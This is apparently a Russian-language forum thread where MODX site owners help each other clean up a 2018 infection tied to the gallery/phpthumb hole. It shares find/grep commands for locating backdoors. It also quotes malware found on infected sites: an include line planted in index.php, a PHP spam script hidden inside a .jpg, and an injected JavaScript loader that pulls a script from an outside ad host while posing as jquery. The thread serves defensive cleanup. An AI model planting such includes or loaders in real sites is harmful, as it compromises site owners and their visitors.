Добрый всем день, мы вычистили заразу, второй день тьфу тьфу пока тихо. Движок не обновляли, в нашем случае это проблематично, но gallery отключили. Если файлы возвращаются значит нужно завершить процессы на сервере annizod и milemined и найти полностью все файлы. Если хоть один останется — пойдёт всё заново. Выискивала grep'ом по включениям eval, GLOB_ONLYDIR, первому символу из инъекции в индексные файлы и т.д. Индексные файлы, которые нужны для MODx мы убрали права на запись вообще, предварительно убрав инъекции естественно. Папку connectors тоже на 555. в файле /connectors/system/phpthumb.php была подозрительная строка <?php if (isset($_POST['IMresizedData']) && strpos($_POST['IMresizedData'], "<". "?php") !== FALSE) die('{«success»:false,«code»:401}'); ?>, убрали и поставили //patch CVE-2018-1000207 by fstrange.ru
if(isset($_POST[«cache_filename»]) && strpos($_POST[«cache_filename»],".php") ) die(); и много другого, если кому нужно — спрашивайте, подскажу что знаю. Сегодня нашла Китайский ip 218.60.67.5, которому вообще нечего делать на нашем сервере. Ушёл в баню. Но это всё при условии если правильно настроен доступ к корневой папке сайта на сервере, если с соседних сайтов лезет то чистить можно без конца.
if(isset($_POST[«cache_filename»]) && strpos($_POST[«cache_filename»],".php") ) die(); и много другого, если кому нужно — спрашивайте, подскажу что знаю. Сегодня нашла Китайский ip 218.60.67.5, которому вообще нечего делать на нашем сервере. Ушёл в баню. Но это всё при условии если правильно настроен доступ к корневой папке сайта на сервере, если с соседних сайтов лезет то чистить можно без конца.
www.exploit-db.com/exploits/45055/ вот что нашла
Почистил около 30 сайтов, на разных хостинг аккаунтах, обновил всё, 3 дня, пока тихо, ничего не лезет.
AIbolit штука хорошая, но видит не всё, у меня не обнаруживало файл best.php (замечен в разных директориях), отправил им для пополнения сигнатур)
AIbolit штука хорошая, но видит не всё, у меня не обнаруживало файл best.php (замечен в разных директориях), отправил им для пополнения сигнатур)
Саботаж устроен майнерами ?
Для тех у кого бэкапы мало хранятся, или очухались поздно.
find /home/путь_до_сайта/ -type f -iname "*.php" -exec grep -Him1 'eval' {} \;
find /home/путь_до_сайта/ -type f -name '*.php' | xargs grep -l "eval *(" --color
find /home/путь_до_сайта/ -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find /home/путь_до_сайта/ -type f -name '*.php' | xargs grep -l "GLOB_ONLYDIR" --color
find /home/путь_до_сайта/ -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
find /home/путь_до_сайта/ -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color
find /home/путь_до_сайта/ -type f -name '*.php' | xargs grep base64_ | less
find /home/путь_до_сайта/ -type f -name '*.php' | xargs grep -il x29
Само собой, нужно хоть малость понимать код и тогда 2 команды покажут всю заразу.
Проблема в том что они шифруют js
Я показал способ, который поможет найти и устранить самые уязвимые места.
js уже никакой угрозы для хостинга/сервера не представляет.
js уже никакой угрозы для хостинга/сервера не представляет.
Добрый день, после решения проблемы с вирусами осталось проблема высокой нагрузки на проц. Больше никаких проблем не осталось, куда смотреть?
Смотрите логи доступа к серверу, скорее боты простукивают вирусные закладки. Оттуда и нагрузка.
На очищенном и обновленном(в т.ч. Gallery) неделю назад MODX 2.6.5 (хостинг Timeweb) вновь появилась дрянь, но в совершенно новом виде — теперь это можно встретить и в файлах пакета Ace. Раньше такого не замечал, видимо, всерьез возьмемся за права доступа к файлам и папкам.
Итак,
в корневом index.php права доступа изменены на 444, в шапке:
Также замечено, что единственный пользователь не мог войти со своим паролем, пароль сами не меняли, был заблокирован(возможно по причине неоднократного ввода неверного пароля.) Сбросил его, но в базе уже заблокирован, пришлось через базу снять блок, тогда заработало.
Рядом на этом же хостинге лежит Evo, к нему доступ также перестал подходить, восстановление по сбросу пока не работает, ищем причину… Может ли это быть связано, не ясно, пока про Evo ничего не было слышно… ну или просто восстановление не работает и эти два явления не связаны.
P.S. утром пришло сообщение от клиента из Австралии, там как раз Evo was hacked. Детали узнаю чуть позже.
Итак,
в корневом index.php права доступа изменены на 444, в шапке:
<?php
//installbg
$rifilename='/home/**********/public_html/core/packages/ace-1.6.4-pl/modPlugin/0db4ec9586bd0cd4c61ffebc15170e1c/1/ace/documents/licenses.txt';
require("$rifilename");
//installend
Файл по указанному адресу с правами 404 — по ссылке, если любопытно содержимое. Также замечено, что единственный пользователь не мог войти со своим паролем, пароль сами не меняли, был заблокирован(возможно по причине неоднократного ввода неверного пароля.) Сбросил его, но в базе уже заблокирован, пришлось через базу снять блок, тогда заработало.
Рядом на этом же хостинге лежит Evo, к нему доступ также перестал подходить, восстановление по сбросу пока не работает, ищем причину… Может ли это быть связано, не ясно, пока про Evo ничего не было слышно… ну или просто восстановление не работает и эти два явления не связаны.
P.S. утром пришло сообщение от клиента из Австралии, там как раз Evo was hacked. Детали узнаю чуть позже.
А распакованные папки дополнений в core/packages/ удаляли? Если нет, то там вирус и остался после лечения.
Если не удалить старый пакет Gallery, то будет повторное заражение.
У меня так.
У меня так.
Есть такое, такая-же ситуация и у меня, заражен корневой index.php Это уже страшно, когда не известность, из-за чего это произошло.
Грамотные специалисты, подскажите, вот такая команда SSH теоретически сможет выявить масштабы заражения?
find /путь/к/папке/хостинга/ -mindepth 1 \
-newermt '2018-07-10 00:00' \
! -newermt '2018-08-01 00:00' \
-ls
Т.е. с помощью SSH ищем изменённые файлы в определённом диапазоне дат. Если на сайте не производится каких-то активных действий, то в файловой системе практически ничего не меняется. И в случае заражения мы увидим новые файлы, либо увидим какие старые файлы изменились. Верно? Есть нюансы такого способа?
Да (за синтаксис сейчас не скажу — редко пользуюсь).
Нюанс: исключите из поиска /core/cache/ как минимум. Или убейте папки до сканирования )
Нюанс: исключите из поиска /core/cache/ как минимум. Или убейте папки до сканирования )
Нет, даты зараженных файлов подменяются.
Приветствую всех, прошли 2 тяжелые недели, пролечили более 200 сайтов. Обновили систему, но не тут то было, вновь найдено 5 зараженных сайтом 4 на одном пользователе висят. Не какие компонентов вроде Galley нету. Куда копать, какие модули возможно были заражены? Версия везде последняя. антивирусник по прежнему в проверке, как бы не увидеть завтра 100 зараженных.
Переименовывать папки системные как вариант, но очень трудоемко.
Переименовывать папки системные как вариант, но очень трудоемко.
Еще один подопечный… На этот раз, на вид, процесс взлома тот же, а вот бэкдор залили другой, и не очень типичный. Как оказалось, исполняемый php-код записали в .jpg-файлы. Но так как их инклюдят внутри вызываемых .php-файлов, то код в таких «картинках» выполняется как обычный php со всеми вытекающими…
Пример такого файла (путь, может у вас тоже такое найдется). /js/jplayer/skin/blue.monday/image/jplayer.blue.mondays.jpg
Часть кода:
P.S. Судя по всему, установка его прошла через файлы в папке /themesa
Там файлы были:
extenupdates.php
index.php
install.php
moban.html
Пример такого файла (путь, может у вас тоже такое найдется). /js/jplayer/skin/blue.monday/image/jplayer.blue.mondays.jpg
Часть кода:
@ini_set('display_errors', 0);^M
@set_time_limit(3600);^M
define("DOMTXT","/jd1/");^M
define("GETDATE","http://www.datecenter.com/api/?key=");^M
define("CENTERKEY",0);^M
define("MYDIR", "/lt20180813bk-7/");^M
define("FNUM",50);^M
define("JGNUM","132");^M
define("LINKNUM","12");^M
define("BZSITE","z");^M
define("BZPRO","v");^M
//Fnamebg^M
...
$arrfh[]="、";$arrfh[]=" ";$arrfh[]="!";$arrfh[]="……";$arrfh[]="。";$arrfh[]="?";$arrfh[]=";";$arrfh[]=",";^M
// #llqllq#arr_fuhaoend^M
// #llqllq#arr_keybg
$arr_key[]="【2016春夏新作】";
$arr_key[]="【残りわずか】";
$arr_key[]="品質検査済";
$arr_key[]="【コンビニ受取対応商品】";
$arr_key[]="【送料無料】";
$arr_key[]="【希望者のみラッピング無料】";
$arr_key[]="【在庫あり】";
$arr_key[]="【オープニング 大放出セール】";
$arr_key[]="感謝の声続々!";
Судя по всему, в этот раз японцы пожаловали :)P.S. Судя по всему, установка его прошла через файлы в папке /themesa
Там файлы были:
extenupdates.php
index.php
install.php
moban.html
PP.S. При этом вызывают не через @include, а через require, в результате, если все инклюды не вычистить, возникает критическая ошибка, если удалить файлы вируса.
Когда закрыл сайт в .htaccess и оставил доступ только себе по ip, вот такое в консоли появляется:
Убираю блокировку — в консоли чисто.
Открываю файл jquery (через браузер) и вижу этот код:
Причём на хостинге сам файл не изменён. Выкачивал все файлы сайта, искал поиском по файлам, ничего похожего на «tlrtb» не нашлось. Искал по базе — тоже. Сканнер scannerMODX запускал — чисто. Айболит — тоже чисто.
И как эта гадость появляется вместо реального содержимого jquery-1.11.1.min.js интересно…
Убираю блокировку — в консоли чисто.
Открываю файл jquery (через браузер) и вижу этот код:
!function(){function t(){try{return window.self!==window.top}catch(t){return!0}}function e(){var t=document.getElementsByTagName("head")[0],e=document.createElement("script");e.src="http://p.tlrtb.com/ad/base.js?",e.type="text/javascript",t.appendChild(e)}function n(t){o.parentNode.insertBefore(t,o.nextSibling)}function r(t){document.write(t.outerHTML)}function c(){for(var t=document.createElement("script"),e=Array.prototype.slice.call(o.attributes),n=0;n<e.length;n++)t.setAttribute(e[n].nodeName,e[n].nodeValue);return t.src="http://мойсайт.ru/assets/site/libs/jquery-1.11.1.min.js?",t}var o=document.currentScript||document.scripts[document.scripts.length-1],i=c();o.async||o.defer?n(i):r(i),window.__qsrad||t()||(window.__qsrad=1,e())}();
Этот скрипт подменяет содержимое файла 'jquery-1.11.1.min.js' на своё, но как я понимаю подтягивает и реальный jquery. Причём на хостинге сам файл не изменён. Выкачивал все файлы сайта, искал поиском по файлам, ничего похожего на «tlrtb» не нашлось. Искал по базе — тоже. Сканнер scannerMODX запускал — чисто. Айболит — тоже чисто.
И как эта гадость появляется вместо реального содержимого jquery-1.11.1.min.js интересно…
Да, ещё и не при каждом обновлении страницы в консоль ошибка выпадает, и не каждый раз файл jquery-1.11.1.min.js заменяется. То нормально откроется, то нет.
Где-то в коде закладка значит. Ищите внимаельней
Кроме как глазами прочесать несколько тысяч файлов больше пока в голову ничего не приходит)))
По изменённому файлу jquery с той же ссылкой на tlrtb.com я выявил несколько своих сайтов заражённых, и один чужой. Но может дело не конкретно в этом файле, а в том, что это первый javascript, который в коде встречается.
Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.